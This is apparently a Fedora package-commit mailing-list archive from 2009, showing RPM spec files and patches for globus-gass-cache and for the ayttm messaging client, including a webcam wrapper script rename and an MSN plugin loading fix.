Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gass Cache

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus Gass Cache Development Files

%prep
%setup -q -n %{_name}-%{version}
%patch0 -p1

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.4-1
- Autogenerated


--- NEW FILE import.log ---
globus-gass-cache-5_4-1_fc11:EL-4:globus-gass-cache-5.4-1.fc11.src.rpm:1255244662


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:15:56 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:04:56 -0000	1.2
@@ -0,0 +1 @@
+globus_gass_cache-5.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gass-cache/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:15:56 -0000	1.1
+++ sources	11 Oct 2009 07:04:56 -0000	1.2
@@ -0,0 +1 @@
+539a5698bf3ac6ab611a50967e9db489  globus_gass_cache-5.4.tar.gz



From mintojoseph at fedoraproject.org  Sun Oct 11 07:25:34 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Sun, 11 Oct 2009 07:25:34 +0000 (UTC)
Subject: rpms/ayttm/devel ayttm-msn-load.patch, NONE,
	1.1 ayttm-rename-ayttm_streamer_wrapper.patch, NONE,
	1.1 ayttm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091011072534.2BB7211C00EC@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/ayttm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31718/devel

Modified Files:
	.cvsignore sources 
Added Files:
	ayttm-msn-load.patch ayttm-rename-ayttm_streamer_wrapper.patch 
	ayttm.spec import.log 
Log Message:

 Modified Files:
	devel/.cvsignore devel/sources 
 Added Files:
 	devel/ayttm-msn-load.patch 
	devel/ayttm-rename-ayttm_streamer_wrapper.patch 
	devel/ayttm.spec devel/import.log 
----------------------------------------------------------------------
initial package


ayttm-msn-load.patch:
 msn.c |   16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

--- NEW FILE ayttm-msn-load.patch ---
--- modules/msn2/msn.c	2009/09/06 18:23:08	1.13
+++ modules/msn2/msn.c	2009/09/14 10:40:36	1.14
@@ -79,11 +79,13 @@
  *			     Begin Module Code
  ************************************************************************************/
 /*  Module defines */
-#define plugin_info msn2_LTX_plugin_info
-#define SERVICE_INFO msn2_LTX_SERVICE_INFO
-#define plugin_init msn2_LTX_plugin_init
-#define plugin_finish msn2_LTX_plugin_finish
-#define module_version msn2_LTX_module_version
+#ifndef USE_POSIX_DLOPEN
+	#define plugin_info msn2_LTX_plugin_info
+	#define SERVICE_INFO msn2_LTX_SERVICE_INFO
+	#define plugin_init msn2_LTX_plugin_init
+	#define plugin_finish msn2_LTX_plugin_finish
+	#define module_version msn2_LTX_module_version
+#endif
 
 
 typedef struct _ay_msn_local_account
@@ -142,8 +144,8 @@
 	PLUGIN_SERVICE,
 	"MSN",
 	"Provides MSN Messenger support",
-	"$Revision: 1.13 $",
-	"$Date: 2009/09/06 18:23:08 $",
+	"$Revision: 1.14 $",
+	"$Date: 2009/09/14 10:40:36 $",
 	&ref_count,
 	plugin_init,
 	plugin_finish,

ayttm-rename-ayttm_streamer_wrapper.patch:
 ayttm.spec                                     |    2 
 ayttm.spec.in                                  |    2 
 modules/image_filter/Makefile.am               |    2 
 modules/image_filter/Makefile.in               |    2 
 modules/image_filter/ayttm_streamer_wrapper    |   55 +++++++++++++++++++++++++
 modules/image_filter/ayttm_streamer_wrapper.sh |   55 -------------------------
 modules/image_filter/video_capture.c           |    2 
 7 files changed, 60 insertions(+), 60 deletions(-)

--- NEW FILE ayttm-rename-ayttm_streamer_wrapper.patch ---
diff -pruN ayttm-0.6.0-orig/ayttm.spec ayttm-0.6.0-fix/ayttm.spec
--- ayttm-0.6.0-orig/ayttm.spec	2009-09-11 09:21:01.000000000 +0530
+++ ayttm-0.6.0-fix/ayttm.spec	2009-09-16 14:11:36.274638531 +0530
@@ -85,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 # the config file
 %config(noreplace) /etc/ayttmrc
 # Lastly, the binary itself
-%{_bindir}/ayttm_streamer_wrapper.sh
+%{_bindir}/ayttm_streamer_wrapper
 %{_bindir}/ayttm
 %exclude %{_libdir}/ayttm/*.a
 
diff -pruN ayttm-0.6.0-orig/ayttm.spec.in ayttm-0.6.0-fix/ayttm.spec.in
--- ayttm-0.6.0-orig/ayttm.spec.in	2009-05-22 15:12:55.000000000 +0530
+++ ayttm-0.6.0-fix/ayttm.spec.in	2009-09-16 14:11:20.149638832 +0530
@@ -85,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 # the config file
 %config(noreplace) /etc/ayttmrc
 # Lastly, the binary itself
-%{_bindir}/ayttm_streamer_wrapper.sh
+%{_bindir}/ayttm_streamer_wrapper
 %{_bindir}/@PACKAGE@
 %exclude %{_libdir}/@PACKAGE@/*.a
 
diff -pruN ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper
--- ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper	1970-01-01 05:30:00.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper	2004-01-20 10:07:29.000000000 +0530
@@ -0,0 +1,55 @@
+#!/bin/bash
+
+make_rcfile()
+{
+	file=$1
+	outdir=$2/webcam
+	[ ! -e $outdir ] && mkdir $outdir
+	cat >$file <<EOF
+[ftp]
+dir  = $outdir
+file = webcam.jpeg
+tmp  = uploading.jpeg
+local = 1
+
+[grab]
+device = /dev/video0
+text = "webcam %Y-%m-%d %H:%M:%S"
+width = 320
+height = 240
+delay = 3
+quality = 75
+EOF
+
+}
+
+RCFILE=~/.webcamrc
+[ "$1" = "-d" ] && AYTTM_DIR=$2 || AYTTM_DIR=~/.ayttm
+
+[ ! -e $RCFILE ] && make_rcfile $RCFILE $AYTTM_DIR
+
+if ! ps -u $UID | grep -q webcam >/dev/null; then
+	/usr/bin/webcam &>/dev/null &
+fi
+ps -u $UID | grep -q webcam >/dev/null || exit -1
+
+IMGDIR=$( sed -ne "/.*\<dir *= */{s///;p
+}" $RCFILE )
+if ! echo $IMGDIR | sed -e 's,^~/,,' | grep -q "^/" >/dev/null; then
+	IMGDIR=$HOME/$IMGDIR
+fi
+IMGFILE=$( sed -ne "/.*\<file *= */{s///;p
+}" $RCFILE )
+
+cat $IMGDIR/$IMGFILE || exit -1
+
+exit 0
+
+#LOCK=$AYTTM_DIR/webcam_grab.lock
+#[ -e $LOCK ] && exit 0
+#touch $LOCK
+
+#/usr/bin/streamer -q -f jpeg -o /dev/stdout OUTFILE 2>/dev/null
+#rm -f $LOCK
+
+#exit 0
diff -pruN ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper.sh ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper.sh
--- ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper.sh	2004-01-20 10:07:29.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper.sh	1970-01-01 05:30:00.000000000 +0530
@@ -1,55 +0,0 @@
-#!/bin/bash
-
-make_rcfile()
-{
-	file=$1
-	outdir=$2/webcam
-	[ ! -e $outdir ] && mkdir $outdir
-	cat >$file <<EOF
-[ftp]
-dir  = $outdir
-file = webcam.jpeg
-tmp  = uploading.jpeg
-local = 1
-
-[grab]
-device = /dev/video0
-text = "webcam %Y-%m-%d %H:%M:%S"
-width = 320
-height = 240
-delay = 3
-quality = 75
-EOF
-
-}
-
-RCFILE=~/.webcamrc
-[ "$1" = "-d" ] && AYTTM_DIR=$2 || AYTTM_DIR=~/.ayttm
-
-[ ! -e $RCFILE ] && make_rcfile $RCFILE $AYTTM_DIR
-
-if ! ps -u $UID | grep -q webcam >/dev/null; then
-	/usr/bin/webcam &>/dev/null &
-fi
-ps -u $UID | grep -q webcam >/dev/null || exit -1
-
-IMGDIR=$( sed -ne "/.*\<dir *= */{s///;p
-}" $RCFILE )
-if ! echo $IMGDIR | sed -e 's,^~/,,' | grep -q "^/" >/dev/null; then
-	IMGDIR=$HOME/$IMGDIR
-fi
-IMGFILE=$( sed -ne "/.*\<file *= */{s///;p
-}" $RCFILE )
-
-cat $IMGDIR/$IMGFILE || exit -1
-
-exit 0
-
-#LOCK=$AYTTM_DIR/webcam_grab.lock
-#[ -e $LOCK ] && exit 0
-#touch $LOCK
-
-#/usr/bin/streamer -q -f jpeg -o /dev/stdout OUTFILE 2>/dev/null
-#rm -f $LOCK
-
-#exit 0
diff -pruN ayttm-0.6.0-orig/modules/image_filter/Makefile.am ayttm-0.6.0-fix/modules/image_filter/Makefile.am
--- ayttm-0.6.0-orig/modules/image_filter/Makefile.am	2007-08-04 02:08:38.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/Makefile.am	2009-09-16 14:10:07.300638690 +0530
@@ -11,7 +11,7 @@ else
 JASPER_BUILD =
 endif
 
-bin_SCRIPTS = ayttm_streamer_wrapper.sh
+bin_SCRIPTS = ayttm_streamer_wrapper
 pkglib_LTLIBRARIES = video_capture.la $(JASPER_BUILD)
 
 img2jpc_la_SOURCES = img2jpc.c 
diff -pruN ayttm-0.6.0-orig/modules/image_filter/Makefile.in ayttm-0.6.0-fix/modules/image_filter/Makefile.in
--- ayttm-0.6.0-orig/modules/image_filter/Makefile.in	2009-09-11 09:20:20.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/Makefile.in	2009-09-16 14:10:34.031388774 +0530
@@ -287,7 +287,7 @@ AM_CFLAGS = $(GLIB_CFLAGS) $(JASPER_CFLA
 @MINGW32_TRUE at WIN32_LIBADD = -L../../src -layttm -lintl -lglib-2.0
 @BUILD_JASPER_FILTER_FALSE at JASPER_BUILD = 
 @BUILD_JASPER_FILTER_TRUE at JASPER_BUILD = img2jpc.la
-bin_SCRIPTS = ayttm_streamer_wrapper.sh
+bin_SCRIPTS = ayttm_streamer_wrapper
 pkglib_LTLIBRARIES = video_capture.la $(JASPER_BUILD)
 img2jpc_la_SOURCES = img2jpc.c 
 img2jpc_la_LDFLAGS = -module -avoid-version $(WIN32_LDFLAGS)
diff -pruN ayttm-0.6.0-orig/modules/image_filter/video_capture.c ayttm-0.6.0-fix/modules/image_filter/video_capture.c
--- ayttm-0.6.0-orig/modules/image_filter/video_capture.c	2009-07-27 22:12:03.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/video_capture.c	2009-09-16 14:11:01.998637986 +0530
@@ -43,7 +43,7 @@
 static int plugin_init();
 static int plugin_finish();
 
-static char frame_grabber[MAX_PREF_LEN]= AYTTM_BIN_DIR "/ayttm_streamer_wrapper.sh -d %d";
+static char frame_grabber[MAX_PREF_LEN]= AYTTM_BIN_DIR "/ayttm_streamer_wrapper -d %d";
 
 /*  Module Exports */
 PLUGIN_INFO plugin_info = {


--- NEW FILE ayttm.spec ---
Summary: Universal Instant Messaging Client
Name: ayttm
Version: 0.6.0
Release: 1%{?dist}
Group: Applications/Internet
License: GPLv2+ and LGPLv2+
URL: http://ayttm.sourceforge.net/
Source: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2

# Fix for msn2.so loading issue
# https://sourceforge.net/tracker/?func=detail&atid=550744&aid=2858501&group_id=77614
Patch0: ayttm-msn-load.patch

# Renamed ayttm_streamer_wrapper.sh to ayttm_streamer_wrapper.
# https://sourceforge.net/tracker/?func=detail&aid=2859843&group_id=77614&atid=550746
Patch1: ayttm-rename-ayttm_streamer_wrapper.patch 

BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: flex
BuildRequires: bison
BuildRequires: libtool-ltdl-devel
BuildRequires: libXpm-devel
BuildRequires: openssl-devel
BuildRequires: jasper-devel
BuildRequires: esound-devel
BuildRequires: desktop-file-utils
BuildRequires: gtk2-devel
BuildRequires: gettext
BuildRequires: aspell-devel
BuildRequires: libtool-ltdl

Requires: xawtv
Requires: aspell

%description
Ayttm is designed to become a Universal Instant Messaging client, seamlessly
integrating all existing Instant Messaging clients and providing a single
consistant user interface. Currently, Ayttm supports sending and receiving
messages through AOL, ICQ, Yahoo, MSN, IRC and Jabber.

%prep

%setup -q -n %{name}-%{version}
%patch0 -p0
%patch1 -p1

tr -d '\r' < AUTHORS > AUTHORS.new
iconv -f ISO-8859-2 -t UTF-8 AUTHORS.new > AUTHORS


%build
%configure --enable-smtp --enable-jasper-filter --enable-posix-dlopen --sysconfdir=/etc 
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT INSTALL="install -p"
%find_lang %{name}


desktop-file-install                                    \
--delete-original                                       \
--dir=$RPM_BUILD_ROOT%{_datadir}/applications              \
$RPM_BUILD_ROOT/%{_datadir}/applnk/Internet/%{name}.desktop

%clean
rm -rf $RPM_BUILD_ROOT

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc COPYING AUTHORS README ChangeLog
%doc %{_mandir}/man*/*
%{_datadir}/pixmaps/*.png
%{_datadir}/ayttm/sounds/*
%{_datadir}/ayttm/smileys/*
%{_datadir}/gnome/apps/Internet/ayttm.desktop
%{_datadir}/applications/ayttm.desktop
%{_libdir}/ayttm/*.so 
%config(noreplace) %{_sysconfdir}/ayttmrc
%{_bindir}/ayttm_streamer_wrapper
%{_bindir}/ayttm
%exclude %{_libdir}/ayttm/*.a
%exclude %{_libdir}/ayttm/*.la

%changelog

* Tue Sep 16 2009 Minto Joseph <mvaliyav at redhat.com> 0.6.0-1
- Rebased to new upstream release
- Cleaned up spec file
- Added patch for msn2.so loading issue 
- Added patch for renaming ayttm_streamer_wrapper

* Tue Jul 28 2009 Minto Joseph <mvaliyav at redhat.com> 0.5.0-1.111
- Rebased to new upstream release

* Fri Jun 26 2009 Parag <panemade at gmail.com > 0.5.0-2
- Use correct way to install translations and rpm macros 
- Correct BuildRequires and follow post release naming

* Mon Jun 10 2009 Minto Joseph <mvaliyav at redhat.com> - 0.5.0-1
- Cleaned up spec file
- Included ifnarch for ppc64 to fix build issue with brp-compress 
- Removed the option for stripping of debug information

* Mon Jun 01 2009 Minto Joseph <mvaliyav at redhat.com> - 0.5.0-0
- initial package




--- NEW FILE import.log ---
ayttm-0_6_0-1_fc11:HEAD:ayttm-0.6.0-1.fc11.src.rpm:1255245454


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ayttm/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:55:55 -0000	1.1
+++ .cvsignore	11 Oct 2009 07:25:30 -0000	1.2
@@ -0,0 +1 @@
+ayttm-0.6.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ayttm/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:55:55 -0000	1.1
+++ sources	11 Oct 2009 07:25:31 -0000	1.2
@@ -0,0 +1 @@
+729597a2a827d8b46173d7e462cfb7a9  ayttm-0.6.0.tar.bz2



From mintojoseph at fedoraproject.org  Sun Oct 11 07:27:52 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Sun, 11 Oct 2009 07:27:52 +0000 (UTC)
Subject: rpms/ayttm/F-11 ayttm-msn-load.patch, NONE,
	1.1 ayttm-rename-ayttm_streamer_wrapper.patch, NONE,
	1.1 ayttm.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091011072752.CAB2111C00EC@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/ayttm/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32584/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	ayttm-msn-load.patch ayttm-rename-ayttm_streamer_wrapper.patch 
	ayttm.spec import.log 
Log Message:

 Modified Files:
 	F-11/.cvsignore F-11/sources 
 Added Files:
 	F-11/ayttm-msn-load.patch 
 	F-11/ayttm-rename-ayttm_streamer_wrapper.patch F-11/ayttm.spec 
 	F-11/import.log 
 ----------------------------------------------------------------------
initial package


ayttm-msn-load.patch:
 msn.c |   16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

--- NEW FILE ayttm-msn-load.patch ---
--- modules/msn2/msn.c	2009/09/06 18:23:08	1.13
+++ modules/msn2/msn.c	2009/09/14 10:40:36	1.14
@@ -79,11 +79,13 @@
  *			     Begin Module Code
  ************************************************************************************/
 /*  Module defines */
-#define plugin_info msn2_LTX_plugin_info
-#define SERVICE_INFO msn2_LTX_SERVICE_INFO
-#define plugin_init msn2_LTX_plugin_init
-#define plugin_finish msn2_LTX_plugin_finish
-#define module_version msn2_LTX_module_version
+#ifndef USE_POSIX_DLOPEN
+	#define plugin_info msn2_LTX_plugin_info
+	#define SERVICE_INFO msn2_LTX_SERVICE_INFO
+	#define plugin_init msn2_LTX_plugin_init
+	#define plugin_finish msn2_LTX_plugin_finish
+	#define module_version msn2_LTX_module_version
+#endif
 
 
 typedef struct _ay_msn_local_account
@@ -142,8 +144,8 @@
 	PLUGIN_SERVICE,
 	"MSN",
 	"Provides MSN Messenger support",
-	"$Revision: 1.13 $",
-	"$Date: 2009/09/06 18:23:08 $",
+	"$Revision: 1.14 $",
+	"$Date: 2009/09/14 10:40:36 $",
 	&ref_count,
 	plugin_init,
 	plugin_finish,

ayttm-rename-ayttm_streamer_wrapper.patch:
 ayttm.spec                                     |    2 
 ayttm.spec.in                                  |    2 
 modules/image_filter/Makefile.am               |    2 
 modules/image_filter/Makefile.in               |    2 
 modules/image_filter/ayttm_streamer_wrapper    |   55 +++++++++++++++++++++++++
 modules/image_filter/ayttm_streamer_wrapper.sh |   55 -------------------------
 modules/image_filter/video_capture.c           |    2 
 7 files changed, 60 insertions(+), 60 deletions(-)

--- NEW FILE ayttm-rename-ayttm_streamer_wrapper.patch ---
diff -pruN ayttm-0.6.0-orig/ayttm.spec ayttm-0.6.0-fix/ayttm.spec
--- ayttm-0.6.0-orig/ayttm.spec	2009-09-11 09:21:01.000000000 +0530
+++ ayttm-0.6.0-fix/ayttm.spec	2009-09-16 14:11:36.274638531 +0530
@@ -85,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 # the config file
 %config(noreplace) /etc/ayttmrc
 # Lastly, the binary itself
-%{_bindir}/ayttm_streamer_wrapper.sh
+%{_bindir}/ayttm_streamer_wrapper
 %{_bindir}/ayttm
 %exclude %{_libdir}/ayttm/*.a
 
diff -pruN ayttm-0.6.0-orig/ayttm.spec.in ayttm-0.6.0-fix/ayttm.spec.in
--- ayttm-0.6.0-orig/ayttm.spec.in	2009-05-22 15:12:55.000000000 +0530
+++ ayttm-0.6.0-fix/ayttm.spec.in	2009-09-16 14:11:20.149638832 +0530
@@ -85,7 +85,7 @@ rm -rf $RPM_BUILD_ROOT
 # the config file
 %config(noreplace) /etc/ayttmrc
 # Lastly, the binary itself
-%{_bindir}/ayttm_streamer_wrapper.sh
+%{_bindir}/ayttm_streamer_wrapper
 %{_bindir}/@PACKAGE@
 %exclude %{_libdir}/@PACKAGE@/*.a
 
diff -pruN ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper
--- ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper	1970-01-01 05:30:00.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper	2004-01-20 10:07:29.000000000 +0530
@@ -0,0 +1,55 @@
+#!/bin/bash
+
+make_rcfile()
+{
+	file=$1
+	outdir=$2/webcam
+	[ ! -e $outdir ] && mkdir $outdir
+	cat >$file <<EOF
+[ftp]
+dir  = $outdir
+file = webcam.jpeg
+tmp  = uploading.jpeg
+local = 1
+
+[grab]
+device = /dev/video0
+text = "webcam %Y-%m-%d %H:%M:%S"
+width = 320
+height = 240
+delay = 3
+quality = 75
+EOF
+
+}
+
+RCFILE=~/.webcamrc
+[ "$1" = "-d" ] && AYTTM_DIR=$2 || AYTTM_DIR=~/.ayttm
+
+[ ! -e $RCFILE ] && make_rcfile $RCFILE $AYTTM_DIR
+
+if ! ps -u $UID | grep -q webcam >/dev/null; then
+	/usr/bin/webcam &>/dev/null &
+fi
+ps -u $UID | grep -q webcam >/dev/null || exit -1
+
+IMGDIR=$( sed -ne "/.*\<dir *= */{s///;p
+}" $RCFILE )
+if ! echo $IMGDIR | sed -e 's,^~/,,' | grep -q "^/" >/dev/null; then
+	IMGDIR=$HOME/$IMGDIR
+fi
+IMGFILE=$( sed -ne "/.*\<file *= */{s///;p
+}" $RCFILE )
+
+cat $IMGDIR/$IMGFILE || exit -1
+
+exit 0
+
+#LOCK=$AYTTM_DIR/webcam_grab.lock
+#[ -e $LOCK ] && exit 0
+#touch $LOCK
+
+#/usr/bin/streamer -q -f jpeg -o /dev/stdout OUTFILE 2>/dev/null
+#rm -f $LOCK
+
+#exit 0
diff -pruN ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper.sh ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper.sh
--- ayttm-0.6.0-orig/modules/image_filter/ayttm_streamer_wrapper.sh	2004-01-20 10:07:29.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/ayttm_streamer_wrapper.sh	1970-01-01 05:30:00.000000000 +0530
@@ -1,55 +0,0 @@
-#!/bin/bash
-
-make_rcfile()
-{
-	file=$1
-	outdir=$2/webcam
-	[ ! -e $outdir ] && mkdir $outdir
-	cat >$file <<EOF
-[ftp]
-dir  = $outdir
-file = webcam.jpeg
-tmp  = uploading.jpeg
-local = 1
-
-[grab]
-device = /dev/video0
-text = "webcam %Y-%m-%d %H:%M:%S"
-width = 320
-height = 240
-delay = 3
-quality = 75
-EOF
-
-}
-
-RCFILE=~/.webcamrc
-[ "$1" = "-d" ] && AYTTM_DIR=$2 || AYTTM_DIR=~/.ayttm
-
-[ ! -e $RCFILE ] && make_rcfile $RCFILE $AYTTM_DIR
-
-if ! ps -u $UID | grep -q webcam >/dev/null; then
-	/usr/bin/webcam &>/dev/null &
-fi
-ps -u $UID | grep -q webcam >/dev/null || exit -1
-
-IMGDIR=$( sed -ne "/.*\<dir *= */{s///;p
-}" $RCFILE )
-if ! echo $IMGDIR | sed -e 's,^~/,,' | grep -q "^/" >/dev/null; then
-	IMGDIR=$HOME/$IMGDIR
-fi
-IMGFILE=$( sed -ne "/.*\<file *= */{s///;p
-}" $RCFILE )
-
-cat $IMGDIR/$IMGFILE || exit -1
-
-exit 0
-
-#LOCK=$AYTTM_DIR/webcam_grab.lock
-#[ -e $LOCK ] && exit 0
-#touch $LOCK
-
-#/usr/bin/streamer -q -f jpeg -o /dev/stdout OUTFILE 2>/dev/null
-#rm -f $LOCK
-
-#exit 0
diff -pruN ayttm-0.6.0-orig/modules/image_filter/Makefile.am ayttm-0.6.0-fix/modules/image_filter/Makefile.am
--- ayttm-0.6.0-orig/modules/image_filter/Makefile.am	2007-08-04 02:08:38.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/Makefile.am	2009-09-16 14:10:07.300638690 +0530
@@ -11,7 +11,7 @@ else
 JASPER_BUILD =
 endif
 
-bin_SCRIPTS = ayttm_streamer_wrapper.sh
+bin_SCRIPTS = ayttm_streamer_wrapper
 pkglib_LTLIBRARIES = video_capture.la $(JASPER_BUILD)
 
 img2jpc_la_SOURCES = img2jpc.c 
diff -pruN ayttm-0.6.0-orig/modules/image_filter/Makefile.in ayttm-0.6.0-fix/modules/image_filter/Makefile.in
--- ayttm-0.6.0-orig/modules/image_filter/Makefile.in	2009-09-11 09:20:20.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/Makefile.in	2009-09-16 14:10:34.031388774 +0530
@@ -287,7 +287,7 @@ AM_CFLAGS = $(GLIB_CFLAGS) $(JASPER_CFLA
 @MINGW32_TRUE at WIN32_LIBADD = -L../../src -layttm -lintl -lglib-2.0
 @BUILD_JASPER_FILTER_FALSE at JASPER_BUILD = 
 @BUILD_JASPER_FILTER_TRUE at JASPER_BUILD = img2jpc.la
-bin_SCRIPTS = ayttm_streamer_wrapper.sh
+bin_SCRIPTS = ayttm_streamer_wrapper
 pkglib_LTLIBRARIES = video_capture.la $(JASPER_BUILD)
 img2jpc_la_SOURCES = img2jpc.c 
 img2jpc_la_LDFLAGS = -module -avoid-version $(WIN32_LDFLAGS)
diff -pruN ayttm-0.6.0-orig/modules/image_filter/video_capture.c ayttm-0.6.0-fix/modules/image_filter/video_capture.c
--- ayttm-0.6.0-orig/modules/image_filter/video_capture.c	2009-07-27 22:12:03.000000000 +0530
+++ ayttm-0.6.0-fix/modules/image_filter/video_capture.c	2009-09-16 14:11:01.998637986 +0530
@@ -43,7 +43,7 @@
 static int plugin_init();
 static int plugin_finish();
 
-static char frame_grabber[MAX_PREF_LEN]= AYTTM_BIN_DIR "/ayttm_streamer_wrapper.sh -d %d";
+static char frame_grabber[MAX_PREF_LEN]= AYTTM_BIN_DIR "/ayttm_streamer_wrapper -d %d";
 
 /*  Module Exports */
 PLUGIN_INFO plugin_info = {


--- NEW FILE ayttm.spec ---
Summary: Universal Instant Messaging Client
Name: ayttm
Version: 0.6.0
Release: 1%{?dist}
Group: Applications/Internet
License: GPLv2+ and LGPLv2+
URL: http://ayttm.sourceforge.net/
Source: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.bz2

# Fix for msn2.so loading issue
# https://sourceforge.net/tracker/?func=detail&atid=550744&aid=2858501&group_id=77614
Patch0: ayttm-msn-load.patch

# Renamed ayttm_streamer_wrapper.sh to ayttm_streamer_wrapper.
# https://sourceforge.net/tracker/?func=detail&aid=2859843&group_id=77614&atid=550746
Patch1: ayttm-rename-ayttm_streamer_wrapper.patch 

BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires: flex
BuildRequires: bison
BuildRequires: libtool-ltdl-devel
BuildRequires: libXpm-devel
BuildRequires: openssl-devel
BuildRequires: jasper-devel
BuildRequires: esound-devel
BuildRequires: desktop-file-utils
BuildRequires: gtk2-devel
BuildRequires: gettext
BuildRequires: aspell-devel
BuildRequires: libtool-ltdl

Requires: xawtv
Requires: aspell

%description
Ayttm is designed to become a Universal Instant Messaging client, seamlessly
integrating all existing Instant Messaging clients and providing a single
consistant user interface. Currently, Ayttm supports sending and receiving
